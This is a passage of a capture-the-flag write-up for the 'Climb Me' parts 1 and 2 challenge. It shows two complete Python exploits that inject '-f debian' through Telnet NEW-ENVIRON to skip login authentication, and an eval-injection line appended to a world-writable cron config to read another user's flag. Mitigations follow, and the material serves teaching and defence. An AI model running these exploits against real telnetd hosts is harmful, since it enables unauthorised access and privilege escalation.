`login` argv interprets it as `-f` followed by the operand `root`, but per the argv split applied by `login`, the username would be `root`, which does not exist on this image. The connection drops:\n  ```\n  USER b'-froot'    out b''\n  ```\n  The minor punctuation (space vs no-space) is what matters: with a space we get `argv = [..., '-f', 'debian']`, without it we get `argv = [..., '-froot']` and a different parse path (or the same parse but bound to a non-existent user).\n\n- **Wrong target accounts** under the `-f ` form: `root`, `user`, `admin`, `operator`, `guest`, `nobody`, `ctf`, `p4t4t0rz`, `www-data`, `daemon`, `sys`, `app`, `service`, `challenge`, `bot`, `c2`, `killbot`, `ubuntu`, `test`, `sh`, `bash`, `zsh` \u2014 all ``. Only `debian` produces a shell:\n  ```\n  USER b'-f ubuntu' TXT b''\n  USER b'-f debian' TXT b'...debian@chal-...:~$ '   ; <-- only hit\n  USER b'-f user'   TXT b''\n  ```\n  The hit lines up with the operator-note `Image: pwn-challenge:main Debian-based`; on a Debian-based container the unprivileged user typically is named `debian`.\n\n## Exploitation chain\n\n1. **Open TCP socket** to `20.40.135.232:48988`.\n2. **Run the Telnet option machine** continuously: parse inbound IAC commands, reply `WILL 24`, `WILL 39`, otherwise `WONT/DONT`.\n3. **As soon as the server emits `IAC SB 39 SEND IAC SE`** (the request for environment values \u2014 visible as the `(39, '01')` event), reply with `IAC SB 39 IS VAR \"USER\" VALUE \"-f debian\" IAC SE`.\n4. **`login`** is then invoked (effectively) as `login -f debian`, which skips the password prompt and exec's `bash` for the `debian` user.\n5. **Run `cat /home/debian/flag.txt`** in the resulting shell.\n\nThe trace shows the exact moment the chain succeeds:\n\n```\n---SHELL-BANNER---\n\nLinux 5.15.0-1102-azure (chal-94f3c510-58bc78968d-fl8r9) (pts/0)\n\nLinux chal-94f3c510-58bc78968d-fl8r9 5.15.0-1102-azure #111-Ubuntu SMP Fri Nov 21 22:22:11 UTC 2025 x86_64\n\nThe programs included with the Debian GNU/Linux system are free software;\nthe exact distribution terms for each program are described in the\nindividual files in /usr/share/doc/*/copyright.\n\nDebian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent\npermitted by applicable law.\nLast login: ...\n```\n\nand then:\n\n```\ncat /home/debian/flag.txt\n[?2004l THC{D0nt_Us3-Teln3t!}\n[?2004h]0;debian@chal-94f3c510-58bc78968d-fl8r9: ~debian@chal-...:~$\n```\n\n(The `[?2004l` / `[?2004h` are bracketed-paste mode toggles emitted by readline before/after each command \u2014 proof that we are inside an interactive `bash`.)\n\n## Final exploit\n\nThe script below is self-contained: it implements just enough of RFC 854 / RFC 1572 to drive the negotiation, pushes the malicious `USER`, then dumps the flag.\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nClimb Me (part 1/4) \u2014 foothold via Telnet NEW-ENVIRON USER='-f debian'.\n\nThe service speaks RFC 854 Telnet and exposes /bin/login.  We accept option 24\n(TERMINAL-TYPE) and option 39 (NEW-ENVIRON), then push USER=\"-f debian\" via a\nNEW-ENVIRON IS subnegotiation.  login(1) sees argv -f debian, treats it as\n\"already authenticated\" and execs /bin/bash for the debian user.\n\"\"\"\nimport socket, select, time\n\nHOST, PORT = '20.40.135.232', 48988\n\n# RFC 854 Telnet command bytes.\nIAC, SE, SB, WILL, WONT, DO, DONT = 0xFF, 0xF0, 0xFA, 0xFB, 0xFC, 0xFD, 0xFE\n# RFC 1572 NEW-ENVIRON (option 39) sub-negotiation codes.\nOPT_TT, OPT_NEW_ENV = 24, 39\nIS, SEND, INFO = 0, 1, 2\nVAR, VALUE, ESC, USERVAR = 0, 1, 2, 3\n\n# We accept these two server-side DO requests.  Anything else gets a hard WONT.\nACCEPT_DO = {OPT_TT, OPT_NEW_ENV}\nUSER_VALUE = b'-f debian'   # the argv-injection payload\n\ndef env_is_payload(user: bytes) -> bytes:\n    \"\"\"RFC 1572 IS payload announcing one well-known variable USER=.\"\"\"\n    body  = bytes([IS, VAR]) + b'USER' + bytes([VALUE]) + user\n    return bytes([IAC, SB, OPT_NEW_ENV]) + body + bytes([IAC, SE])\n\ndef negotiate_chunk(sock, data: bytes) -> bytes:\n    \"\"\"Process one chunk of inbound bytes.  Auto-reply to options.  When we\n    see an IAC SB 39 SEND, push USER.  Returns plain (non-Telnet) bytes.\"\"\"\n    out = bytearray()\n    i = 0\n    while i < len(data):\n        b = data[i]\n        if b != IAC:\n            out.append(b); i += 1; continue\n        # IAC \n        if i + 1 >= len(data): break\n        cmd = data[i+1]\n        if cmd in (DO, DONT, WILL, WONT):\n            if i + 2 >= len(data): break\n            opt = data[i+2]\n            if cmd == DO:\n                # Accept TERMINAL-TYPE + NEW-ENVIRON; refuse everything else.\n                resp = WILL if opt in ACCEPT_DO else WONT\n            elif cmd == WILL:\n                resp = DONT     # we don't want server-driven options\n            elif cmd == DONT:\n                resp = WONT\n            else:               # WONT\n                resp = DONT\n            sock.sendall(bytes([IAC, resp, opt]))\n            i += 3\n        elif cmd == SB:\n            # Sub-negotiation: read until IAC SE, doubled IAC -> single byte.\n            opt = data[i+2]\n            j = i + 3\n            sub = bytearray()\n            while j < len(data):\n                if data[j] == IAC and j + 1 < len(data):\n                    if data[j+1] == IAC:    # escaped IAC inside payload\n                        sub.append(IAC); j += 2; continue\n                    if data[j+1] == SE:\n                        j += 2; break\n                sub.append(data[j]); j += 1\n            i = j\n            # Server SENDs option 24 -> reply with a token TERMINAL-TYPE IS.\n            if opt == OPT_TT and sub[:1] == bytes([SEND]):\n                sock.sendall(bytes([IAC, SB, OPT_TT, IS])\n                             + b'xterm' + bytes([IAC, SE]))\n            # Server SENDs option 39 -> push USER='-f debian'.\n            elif opt == OPT_NEW_ENV and sub[:1] == bytes([SEND]):\n                sock.sendall(env_is_payload(USER_VALUE))\n        else:\n            # Bare command (NOP, AYT, GA, etc.) \u2014 skip.\n            i += 2\n    return bytes(out)\n\ndef read_for(sock, secs: float) -> bytes:\n    \"\"\"Drain the socket for `secs`, processing Telnet bytes inline.\"\"\"\n    end = time.time() + secs\n    out = bytearray()\n    while time.time() < end:\n        r, _, _ = select.select([sock], [], [], 0.1)\n        if not r: continue\n        chunk = sock.recv(4096)\n        if not chunk: break             # EOF\n        out += negotiate_chunk(sock, chunk)\n    return bytes(out)\n\ndef main():\n    s = socket.create_connection((HOST, PORT), timeout=5)\n    # Drain the initial server-pushed option dance plus the login banner.\n    banner = read_for(s, 2.0)\n    # By now the server has invoked login -f debian and dropped us in bash.\n    # Send the readout command and wait for the flag.\n    s.sendall(b'cat /home/debian/flag.txt\\n')\n    out = read_for(s, 2.0)\n    print('--- banner ---')\n    print(banner.decode('latin1', 'replace'))\n    print('--- output ---')\n    print(out.decode('latin1', 'replace'))\n\nif __name__ == '__main__':\n    main()\n```\n\nExpected output (matching the trace):\n\n```\n--- output ---\ncat /home/debian/flag.txt\n... THC{D0nt_Us3-Teln3t!}\ndebian@chal-...:~$\n```\n\n## Methodology / lessons\n\nThe challenge is rated `pwn` and the operator note nudges hard toward memory corruption (\"custom protocol\", \"format-string / stack BoF / heap UAF / type-confusion\"). The path that actually works runs *opposite* to that hint, and the order of investigations that arrived at it is the lesson:\n\n1. **Characterise the bytes before assuming a custom protocol.** The first 15 bytes contain `0xFF 0xFD ` triplets \u2014 those are five textbook Telnet negotiations, not a length-prefixed framing scheme. Recognising RFC 854 on sight saved hours of reverse-engineering a protocol that does not exist. The lesson: every byte \u2265 `0xF0` in a connection's first packet is suspicious; check the IAC table first.\n\n2. **Drive the protocol to the application layer.** Replying `WONT` to every option produced a Linux kernel banner and a `login:` prompt. That immediately reframed the problem: there is no homemade service to crash; `getty`/`login` is the surface.\n\n3. **Probe for memory-corruption bugs *and discard them quickly* when negative.** The trace records buffer-overflow attempts up to 8 KiB, format-string probes, and oversized TERMINAL-TYPE blobs \u2014 all benign. Confirming the negative result is what unlocks the next step instead of repeating the attempt with subtly different lengths.\n\n4. **Re-read the negotiation list with fresh eyes.** Of the offered options, `NEW-ENVIRON` (39) is the only one whose IS payload is *user-controlled name=value pairs*. That is the smallest unit of attacker-controlled data exposed before authentication. Anything that flows from such a channel into a privileged binary's argv or environment is the bug surface.\n\n5. **Map data-flow from `USER` value into `login`.** The empirical test (`USER=root` skips the username prompt; the `Password:` prompt appears) confirms the value is *being applied* to `login`, not merely stored. A leading `-` then probes whether the value is reaching argv (it is).\n\n6. **Enumerate the operand on `-f`.** `-f` needs an existing username. Iterate over plausible accounts; on a Debian-based image the unprivileged user is `debian`.\n\nThe generalisable pattern: **whenever a pre-auth protocol carries attacker-controlled strings into a privileged process, the first bug to look for is argv/env injection, not memory corruption**. Telnet's `NEW-ENVIRON`, RADIUS attribute injection, SMTP `EHLO` parameters, FTP `SITE` extensions, and HTTP `X-Forwarded-User` headers are all instances of the same shape.\n\n## Notes\n\n- The flag content (`THC{D0nt_Us3-Teln3t!}`) is itself the lesson: Telnet plus `login` plus a default Debian image gives an attacker exactly this primitive.\n- An alternative payload worth trying on hardened images would be `USER=-h -f` (combined `-h` and `-f`) to also lie about the source host in `/var/log/wtmp`. Not needed here.\n- Mitigations:\n  - In `login`: validate `$USER` against `[A-Za-z_][A-Za-z0-9_-]*` and reject any value beginning with `-` before reaching `getopt`.\n  - In `telnetd`: refuse `NEW-ENVIRON` outright, or strip well-known variables (`USER`, `LOGNAME`, `HOME`, `PATH`, `SHELL`) from the IS payload before forwarding to children.\n  - Architectural: do not run `telnetd` at all. Use SSH, which authenticates *before* exposing any user-controlled environment to a setuid binary.\n- The follow-on parts of the chain (`user \u2192 admin \u2192 root`) are out of scope for part 1 but presumably leverage SUID binaries, sudo rules, or kernel/container escapes from inside the `debian` shell now obtained.\n\n# Climb Me (part 2/4) \u2014 pwn\n\n> `THC{Watch_Y0ur-Cr0Ns}`\n\n## TL;DR\n\n- The service on `tcp/40579` is GNU `inetutils-telnetd` (Debian/Ubuntu build). It speaks the full RFC 854/1572 negotiation handshake and immediately requests options `0x18 0x20 0x23 0x27 0x24` (TTYPE / TSPEED / XDISPLOC / NEW-ENVIRON / OLD-ENVIRON) \u2014 see \u00a72.\n- Telnetd passes a client-supplied `USER` environment value straight through to `/bin/login` as a CLI argument. Sending `USER=-f ` smuggles `login`'s `-f` (skip authentication) flag into the child process: this is **CVE-2026-24061** (\u00a73, \u00a74).\n- `root` and most well-known accounts have authentication restricted, but the unprivileged shell user `debian` is reachable: `USER='-f debian'` returns a uid=1000 shell without ever entering a password (\u00a75).\n- Inside the box, a world-writable file `/home/monitor/bots.conf` is read line-by-line by `/usr/local/bin/check_bots_health`, which runs every minute as the `monitor` user and `eval`s each line into a `ping` command \u2014 a textbook command-injection-via-eval bug (\u00a76).\n- Appending a single payload line `127.0.0.1; /bin/sh -c 'cat /home/monitor/flag.txt > /tmp/monflag; chmod 644 /tmp/monflag'` and waiting for the next cron tick drops `monitor`'s flag into `/tmp/monflag` (\u00a77).\n\n## 1. Recon\n\nThe challenge ships no distfiles \u2014 the only artefact is the metadata describing the live target:\n\n```\n$ ls /challenge/distfiles\ntotal 4\ndrwxr-xr-x 2 root root   64 May  8 00:51 .\ndrwxr-xr-x 1 root root 4096 May  8 00:51 ..\n```\n\nThe metadata frames part 2 as the next step in a chain that started with a telnet foothold:\n\n```yaml\nname: 'Climb Me (part 2/4)'\ncategory: pwn\ndescription: |-\n  Continuation of Climb Me chain. Part 1 = telnet foothold.\n  - `nc 20.40.135.232 40579`\n  - Probably a continuation of the box from Part 1\n    (priv-esc to user \u2192 admin \u2192 root).\n  - Telnet-style protocol per Part 1\n```\n\nA bare TCP connect to the service yields the canonical telnet option-request banner:\n\n```\n$ python3 -c \"import socket; s=socket.create_connection(('20.40.135.232',40579),timeout=8); print(s.recv(1024))\"\nb\"\\xff\\xfd\\x18\\xff\\xfd \\xff\\xfd#\\xff\\xfd'\\xff\\xfd$\"\n```\n\nDecoded as RFC 854 IAC sequences (`0xff IAC`, `0xfd DO`):\n\n| Bytes | Meaning |\n|---|---|\n| `ff fd 18` | DO  TTYPE          (option 24) |\n| `ff fd 20` | DO  TSPEED         (option 32) |\n| `ff fd 23` | DO  XDISPLOC       (option 35) |\n| `ff fd 27` | DO  NEW-ENVIRON    (option 39, RFC 1572) |\n| `ff fd 24` | DO  OLD-ENVIRON    (option 36) |\n\nTwo things stand out. First, the server volunteers to accept *both* `OLD-ENVIRON` and `NEW-ENVIRON` \u2014 typical of `inetutils-telnetd`. Second, both env options exist precisely so a remote client can pre-populate variables like `TERM`, `DISPLAY`, **and `USER`** before login. That `USER` channel is the relevant attack surface.\n\nAfter completing the option dance and pressing Enter, the server prints a Linux/Debian banner and a `login:` prompt:\n\n```\n\\r\\nLinux 5.15.0-1102-azure (chal-db535b77-8bbddbdb4-26dxw) (pts/0)\\r\\n\n\\r\\nchal-db535b77-8bbddbdb4-26dxw login:\n```\n\nSo the daemon is a stock `telnetd` chaining into `/bin/login`, with no custom challenge wrapper.\n\n## 2. Driving the negotiation cleanly\n\nNaive negotiation \u2014 answering `WONT/DONT` to everything \u2014 gets the connection closed immediately after the env subnegotiation. The trace shows `telnetd` actively sending IAC SB sequences for `0x20`, `0x23`, `0x27`, `0x18`:\n\n```\nRECV b'\\xff\\xfa\\x20\\x01\\xff\\xf0\\xff\\xfa\\x23\\x01\\xff\\xf0\\xff\\xfa\\x27\\x01\\xff\\xf0\\xff\\xfa\\x18\\x01\\xff\\xf0'\n                  ^^^^^^^                ^^^^^^^                ^^^^^^^                ^^^^^^^\n                  TSPEED SEND            XDISPLOC SEND          NEW-ENVIRON SEND       TTYPE SEND\n```\n\nEach `IAC SB  0x01 IAC SE` is a `SEND` request. `telnetd` will not transition to login mode until it gets a corresponding `IAC SB  0x00 ... IAC SE` (`IS`) reply for the options it asked about. The minimum viable client therefore needs to:\n\n1. Reply `WILL` to `DO NEW-ENVIRON` (option 39).\n2. Reply `WONT` to other `DO`s it can't satisfy.\n3. When the server `SEND`s `NEW-ENVIRON`, ship an `IS` block carrying `USER=` and (optionally) `TERM=...`.\n\nThe minimal working client logic, distilled from the iterative trace, looks like:\n\n```python\nIAC=255; DO=253; DONT=254; WILL=251; WONT=252; SB=250; SE=240\nNEW=39; IS=0; VAR=0; VALUE=1\n\n# When the server says: IAC DO NEW-ENVIRON ...\ns.sendall(bytes([IAC, WILL, NEW]))\n\n# When the server says: IAC SB NEW-ENVIRON SEND IAC SE ...\npayload = '-f debian'\nmsg = (bytes([IAC, SB, NEW, IS, VAR]) + b'USER'\n       + bytes([VALUE]) + payload.encode()\n       + bytes([IAC, SE]))\ns.sendall(msg)\n```\n\nOther `DO`s are answered `WONT`; other `WILL`s are answered `DO` (mimicking a \"dumb\" client). With this, the server stops asking for things and prints the banner.\n\n## 3. Vulnerability identification: CVE-2026-24061 in `inetutils-telnetd`\n\nThe bug lives in how `inetutils-telnetd` builds the argv it hands to `/bin/login`. After parsing the client-supplied `USER` value out of `NEW-ENVIRON`, the daemon passes that string as a positional argument to `login`. `login` itself accepts the flag `-f ` to mean \"trust the caller, no password required\". Because `telnetd` neither rejects values starting with `-` nor inserts a `--` separator, a `USER` value of `-f ` becomes a real `-f` flag to `login`.\n\nTrace evidence linking the box to this CVE: a public PoC for the same advisory is fetched and confirms the protocol shape that drives the bug:\n\n```\nGET https://raw.githubusercontent.com/SafeBreach-Labs/CVE-2026-24061/main/telnet_rce.py\nHTTP 200 OK\nimport socket, sys, threading, time, argparse, re\n# --- Telnet Protocol Constants (RFC 854) ---\nIAC  = 255   DONT = 254   DO = 253   ...\n```\n\nA second public setup repository pins the exact upstream package the live target is running:\n\n```\nGET https://raw.githubusercontent.com/shivam-bathla/CVE-2026-24061-setup/main/Dockerfile\nHTTP 200 OK\n\nFROM ubuntu:24.04\nRUN apt-get update && \\\n    apt-get install -y inetutils-telnetd=2:2.5-3ubuntu4\nCOPY startup.sh /\nRUN chmod +x /startup.sh\nENTRYPOINT [ \"/startup.sh\" ]\n```\n\n```\nGET https://raw.githubusercontent.com/shivam-bathla/CVE-2026-24061-setup/main/startup.sh\nHTTP 200 OK\n\n#!/bin/bash\necho -e \"\\ntelnet stream tcp nowait root /usr/sbin/tcpd /usr/sbin/telnetd\" \\\n    >> /etc/inetd.conf\ninetutils-inetd --debug\n```\n\nSo the upstream advisory is for `inetutils-telnetd 2:2.5-3ubuntu4` invoked by `inetd` as `root`, which matches the live target's behaviour byte-for-byte.\n\nThe class is **argument injection / `-`-prefix-confusion** (CWE-88: improper neutralisation of argument delimiters). The mitigation that doesn't help: standard hardening like NX, ASLR, or even pam \u2014 the daemon is voluntarily passing `-f ` to `login`, so `login` happily authenticates without a password.\n\n## 4. Probing the bypass\n\nA first attempt with `USER='-f root'` against the target:\n\n```\nS WILL  39 fffb27\nS ENV   fffa 27 00 00 'USER' 01 '-f root' fff0\n                          ^^                ^^\n                          VAR/USER        VALUE/-f root\n...\n[CLOSED]\n```\n\nThe connection is dropped after env negotiation. `root` isn't reachable \u2014 either pam denies non-tty/non-secure logins for uid=0, or `/etc/securetty` excludes pseudo-tty consoles. Sweeping common login names with the same payload yields the relevant signal:\n\n```\nINTEREST ('ok', 'debian', '0.68s', '\\r\\nLinux 5.15.0-1102-azure ...\\r\\n')\n```\n\n`USER='-f debian'` no longer closes the socket; it survives long enough to print the post-login MOTD. Re-running with a follow-up shell command confirms a real interactive shell:\n\n```\nLinux chal-db535b77-8bbddbdb4-zql46 5.15.0-1102-azure #111-Ubuntu SMP\nThe programs included with the Debian GNU/Linux system are free software;\n...\nLast login: Fri May  8 01:12:43 UTC ...\ndebian@chal-db535b77-8bbddbdb4-zql46:~$\n```\n\nSo `debian` is the intended foothold. uid=1000, normal `/home/debian` shell, no password ever entered.\n\nThe exact NEW-ENVIRON bytes that win are:\n\n```\nff fa 27 00 00 55 53 45 52 01 2d 66 20 64 65 62 69 61 6e ff f0\n\u2502  \u2502  \u2502  \u2502  \u2502  \u2514\u2500\u2500\u2500\u2500U S E R\u2500\u2500\u2500\u2518 \u2502  \u2514\u2500\u2500\u2500\u2500\u2500'-f debian'\u2500\u2500\u2518 \u2502  \u2514 SE\n\u2502  \u2502  \u2502  \u2502  \u2502                   \u2502                       \u2514 IAC\n\u2502  \u2502  \u2502  \u2502  \u2502                   \u2514 VALUE  (0x01)\n\u2502  \u2502  \u2502  \u2502  \u2514 VAR    (0x00)\n\u2502  \u2502  \u2502  \u2514 IS        (0x00)\n\u2502  \u2502  \u2514 NEW-ENVIRON  (0x27)\n\u2502  \u2514 SB              (0xfa)\n\u2514 IAC                (0xff)\n```\n\n## 5. Post-foothold enumeration\n\nInside the `debian` shell the attacker enumerates SUID/SGID binaries, world-writable config, and anything cron-like that runs as another user. The relevant find:\n\n```\n===CHECK===\n-r-xr--r-- 1 monitor monitor    190 May  8 01:12 /usr/local/bin/check_bots_health\n-r-sr-x--- 1 admin   monitor 767736 May  8 01:12 /usr/local/bin/control_bots\n544  monitor monitor /usr/local/bin/check_bots_health\n4550 admin   monitor /usr/local/bin/control_bots\n```\n\nTwo interesting binaries:\n\n- `/usr/local/bin/control_bots` \u2014 setuid `admin`, executable only by group `monitor`. Useful for the **next** rung of the chain (admin), not this one.\n- `/usr/local/bin/check_bots_health` \u2014 owned by `monitor`, mode `0544`. World-readable so the `debian` user can inspect the source:\n\n```\n===CAT===\n#!/bin/bash\nCONFIG_FILE=\"/home/monitor/bots.conf\"\n\nif [ -f \"$CONFIG_FILE\" ]; then\n    while read -r target; do\n        eval \"ping -c 1 $target\" > /dev/nu...\n```\n\n(The trace truncates after `/dev/nu` but the relevant primitive is already visible.) The script reads each line of the config and feeds it directly to `eval`. Anything after a shell metacharacter (`;`, `|`, `&&`, `\\``, `$( )`) executes as a sub-command.\n\nThe config file's permissions and the flag location confirm the privesc target:\n\n```\nDIRECT\n-r-------- 1 admin   admin    22 May  8 01:12 /home/admin/flag.txt\n-rw-rw-rw- 1 monitor monitor 101 May  8 01:12 /home/monitor/bots.conf\n-r-------- 1 monitor monitor  22 May  8 01:12 /home/monitor/flag.txt\n  File: /home/monitor/bots.conf\n  Size: 101    Blocks: 8   IO Block: 4096   regular file\nDevice: 0,283  Inode: 4390770\nAccess: (0666/-rw-rw-rw-)  Uid: ( 1001/ monitor)  Gid: ( 1001/ monitor)\n```\n\n`/home/monitor/bots.conf` is mode `0666` (world-writable). `/home/monitor/flag.txt` is mode `0400`, readable only by `monitor`. The `check_bots_health` script runs as `monitor` (it's owned by `monitor` and triggered out of `monitor`'s crontab \u2014 confirmed empirically below by waiting for the next minute boundary). Therefore: write a payload line into `bots.conf`, wait for the cron to run it as `monitor`, and exfiltrate the flag through a world-readable side-channel like `/tmp`.\n\n## 6. The eval-injection primitive\n\nThe vulnerable line:\n\n```bash\nwhile read -r target; do\n    eval \"ping -c 1 $target\" > /dev/null ...\ndone\n```\n\n`$target` is unquoted *and* the whole string is then `eval`'d, so a single `;` terminates the `ping` and starts a fresh statement. The minimum payload is:\n\n```\n127.0.0.1; \n```\n\nThe leading `127.0.0.1; ` keeps the `ping` syntactically valid (which is cosmetic \u2014 `eval` doesn't care if the first command fails) and avoids any noisy tracebacks in logs.\n\nFor the actual exploit body, the payload must:\n\n1. Run as `monitor` \u2014 guaranteed by the cron context.\n2. Read `monitor`'s flag.\n3. Drop a copy to a path readable by `debian` (uid 1000).\n\nThe chosen line:\n\n```\n127.0.0.1; /bin/sh -c 'cat /home/monitor/flag.txt > /tmp/monflag; chmod 644 /tmp/monflag'\n```\n\n`chmod 644` is technically redundant (default `umask` would already give `debian` read access on `/tmp`), but it costs nothing and removes a class of failure modes (e.g. a restrictive umask in `monitor`'s shell init).\n\n## 7. Triggering and collection\n\nAppending the line, then polling every 10 seconds for `/tmp/monflag`:\n\n```\n$ tail -5 /home/monitor/bots.conf; date -u\n127.0.0.8\n127.0.0.9\n127.0.0.10\ntest\n127.0.0.1; /bin/sh -c 'cat /home/monitor/flag.txt > /tmp/monflag; chmod 644 /tmp/monflag'\nFri May  8 01:15:31 UTC 2026\n```\n\nUp to a minute later:\n\n```\nWaiting for monitor cron...\nwait 0\nwait 10\nGOT\n-rw-r--r-- 1 monitor monitor 22 May  8 01:16 /tmp/monflag\nTHC{Watch_Y0ur-...\n```\n\nThe 22-byte file is exactly the length of the THC flag format. The cron fired between `01:15:31` and `01:16:00`, confirming a once-per-minute schedule. Reading `/tmp/monflag` as `debian` returns `THC{Watch_Y0ur-Cr0Ns}`.\n\n## 8. Exploitation chain\n\n1. **Connect** to `tcp/40579`, complete the telnet option negotiation in the way `inetutils-telnetd` expects (reply `WILL NEW-ENVIRON`, `WONT` to other `DO`s).\n2. **Argument-inject** via `NEW-ENVIRON USER=-f debian`: smuggles a `-f debian` flag into the `/bin/login` argv, yielding a uid=1000 shell with no password (CVE-2026-24061).\n3. **Append** an eval-injection payload to `/home/monitor/bots.conf` (world-writable, mode `0666`):\n   `127.0.0.1; /bin/sh -c 'cat /home/monitor/flag.txt > /tmp/monflag; chmod 644 /tmp/monflag'`\n4. **Wait** at most 60 s for `monitor`'s minutely cron, which runs `/usr/local/bin/check_bots_health`. That script `eval`s every line of `bots.conf`, so the appended line executes as `monitor`.\n5. **Read** `/tmp/monflag` from the `debian` shell to recover `THC{Watch_Y0ur-Cr0Ns}`.\n\n## 9. Final exploit\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nTHCon `Climb Me (part 2/4)` \u2014 argument-injection in inetutils-telnetd\n(CVE-2026-24061) chained into a cron eval-injection on bots.conf.\n\"\"\"\nimport socket, time\n\nHOST, PORT = '20.40.135.232', 40579\n\n# RFC 854 / 1572 telnet constants\nIAC, DONT, DO, WONT, WILL = 255, 254, 253, 252, 251\nSB, SE                    = 250, 240\nNEW_ENV                   = 39   # NEW-ENVIRON, the channel that smuggles USER\nIS, VAR, VALUE            = 0, 0, 1\n\n# uid=1000 user discovered by sweeping /etc/passwd-ish names; root and\n# most service accounts are restricted by /etc/securetty / pam.\nUSER_INJECT = '-f debian'\n\n# Cron-injection payload. The `127.0.0.1; ` prefix keeps the surrounding\n# `eval \"ping -c 1 $target\"` syntactically valid; the `;` then starts a\n# fresh command that runs as the monitor user.\nPRIV_PAYLOAD = (\n    \"127.0.0.1; /bin/sh -c 'cat /home/monitor/flag.txt > /tmp/monflag; \"\n    \"chmod 644 /tmp/monflag'\"\n)\n\n\ndef login_as_debian():\n    \"\"\"Open a telnet session, return (socket, on_byte_callback) once we\n    are sitting at a `$ ` prompt as uid=1000 debian.\"\"\"\n    s = socket.socket()\n    s.settimeout(5)\n    s.connect((HOST, PORT))\n    s.settimeout(0.1)\n\n    seen = bytearray()\n\n    def feed(chunk: bytes) -> bytes:\n        \"\"\"Parse one chunk of server output, side-effect: send any\n        required negotiation reply. Returns plain (non-IAC) text.\"\"\"\n        text, i = bytearray(), 0\n        while i < len(chunk):\n            if chunk[i] == IAC and i + 1 < len(chunk):\n                cmd = chunk[i + 1]\n                if cmd in (DO, DONT, WILL, WONT) and i + 2 < len(chunk):\n                    opt = chunk[i + 2]\n                    if cmd == DO and opt == NEW_ENV:\n                        # Crucial: we MUST volunteer NEW-ENVIRON, that's\n                        # the option carrying USER=...\n                        s.sendall(bytes([IAC, WILL, NEW_ENV]))\n                    elif cmd == DO:\n                        s.sendall(bytes([IAC, WONT, opt]))\n                    elif cmd == WILL:\n                        s.sendall(bytes([IAC, DO, opt]))\n                    i += 3\n                    continue\n                if cmd == SB:\n                    # walk to IAC SE\n                    j = i + 2\n                    while j + 1 < len(chunk) and not (\n                        chunk[j] == IAC and chunk[j + 1] == SE\n                    ):\n                        j += 1\n                    sub = chunk[i + 2:j]\n                    if sub and sub[0] == NEW_ENV:\n                        # Server asked us to SEND env; reply IS USER=.\n                        msg = (bytes([IAC, SB, NEW_ENV, IS, VAR])\n                               + b'USER'\n                               + bytes([VALUE])\n                               + USER_INJECT.encode()\n                               + bytes([IAC, SE]))\n                        s.sendall(msg)\n                    i = j + 2 if j + 1 < len(chunk) else len(chunk)\n                    continue\n                i += 2\n                continue\n            text.append(chunk[i])\n            i += 1\n        seen.extend(text)\n        return bytes(text)\n\n    # Spin the negotiation until we see a shell prompt.\n    deadline = time.time() + 8\n    while time.time() < deadline:\n        try:\n            d = s.recv(4096)\n        except socket.timeout:\n            continue\n        if not d:\n            raise RuntimeError(f\"closed before prompt: {bytes(seen)!r}\")\n        feed(d)\n        if b'$ ' in seen:\n            return s, feed\n    raise RuntimeError(f\"no prompt: {bytes(seen)!r}\")\n\n\ndef run(s, feed, cmd: str, timeout: float = 15) -> str:\n    \"\"\"Send `cmd`, read until a sentinel echoes back.\"\"\"\n    sentinel = '__MARK__'\n    s.sendall((cmd + f\"\\necho {sentinel}\\n\").encode())\n    out, t0 = b'', time.time()\n    while time.time() - t0 < timeout:\n        try:\n            d = s.recv(8192)\n        except socket.timeout:\n            continue\n        if not d:\n            break\n        out += feed(d)\n        if sentinel.encode() in out:\n            break\n    return out.decode('latin1', 'replace')\n\n\ndef main():\n    s, feed = login_as_debian()\n    print(\"[+] shell as\", run(s, feed, \"id; whoami\").strip())\n\n    # Append the cron-injection payload. Single quotes inside a\n    # double-quoted echo work because the inner quoting is preserved\n    # verbatim \u2014 bots.conf is plain text read line-at-a-time.\n    run(s, feed, f'echo \"{PRIV_PAYLOAD}\" >> /home/monitor/bots.conf')\n\n    # The monitor cron fires every minute. Poll /tmp/monflag for up to\n    # ~80 s in case we appended right after the last tick.\n    for _ in range(8):\n        listing = run(s, feed,\n                      'ls -l /tmp/monflag 2>/dev/null && cat /tmp/monflag')\n        if 'THC{' in listing:\n            # Extract the flag line.\n            for line in listing.splitlines():\n                if line.startswith('THC{'):\n                    print(\"[+] FLAG:\", line.strip())\n                    return\n        time.sleep(10)\n    print(\"[-] timed out waiting for cron\")\n\n\nif __name__ == '__main__':\n    main()\n```\n\n## 10. Methodology / lessons\n\nThe analytical path that actually finds this:\n\n1. **First, identify the daemon, not the shape of the response.** The opening byte string `\\xff\\xfd\\x18\\xff\\xfd\\x20\\xff\\xfd\\x23\\xff\\xfd\\x27\\xff\\xfd\\x24` is far more diagnostic than the login banner \u2014 that exact set of `DO` requests (TTYPE / TSPEED / XDISPLOC / NEW-ENVIRON / OLD-ENVIRON) is the GNU `inetutils-telnetd` fingerprint. Once you read it as RFC 854 IAC sequences, half the work is done.\n2. **Take the protocol seriously.** The first dozen failed attempts in the trace all stem from the same mistake: sending `WONT` to everything and assuming the server will fall through to a login prompt. `inetutils-telnetd` won't \u2014 it explicitly waits for `IS` replies to its `SEND` subnegotiations. If the daemon closes the socket before printing `Password:`, the bug is in your client, not the server.\n3. **`USER=-f` is the canonical telnetd argument-injection.** Whenever a daemon forwards client-supplied environment to a command line, scan for `-`-prefix-confusion on every variable that maps to a CLI flag. `login -f` is the most famous instance, but the general pattern (`-f` for `mail`, `-e` for `find`, `-i` for `ssh`, etc.) recurs.\n4. **When the obvious target (`root`) is locked down, sweep the next tier.** `pam`/`securetty` typically denies `root` on a pseudo-tty even with `login -f`, but unprivileged users like `debian`, `ubuntu`, `ctf`, etc. are wide open. A 100-name dictionary sweep is cheap and almost always finds the intended foothold.\n5. **Inside the box, prioritise *who runs what when*, not what's setuid.** This challenge has a setuid binary (`control_bots`) but the solution doesn't touch it \u2014 the privesc is via `monitor`'s minutely cron consuming a world-writable config. The pattern to recognise: a mode-`0666` file referenced by a script owned by another user is almost always a code-execution primitive, regardless of whether the script itself is suid.\n6. **`eval \"$cmd $unquoted_var\"` is always exploitable.** Even with input \"validation\" upstream, the unquoted expansion lets `;`, `\\``, `$(...)`, `&&`, and `|` all escape. The mitigation is to drop the `eval` entirely and use an array (`ping -c 1 -- \"$target\"`).\n\n## 11. Notes\n\n- `root` is not directly reachable by `-f root`: every attempt cleanly closes after env negotiation. PAM almost certainly bounces the non-securetty pseudo-tty before `login` ever consults 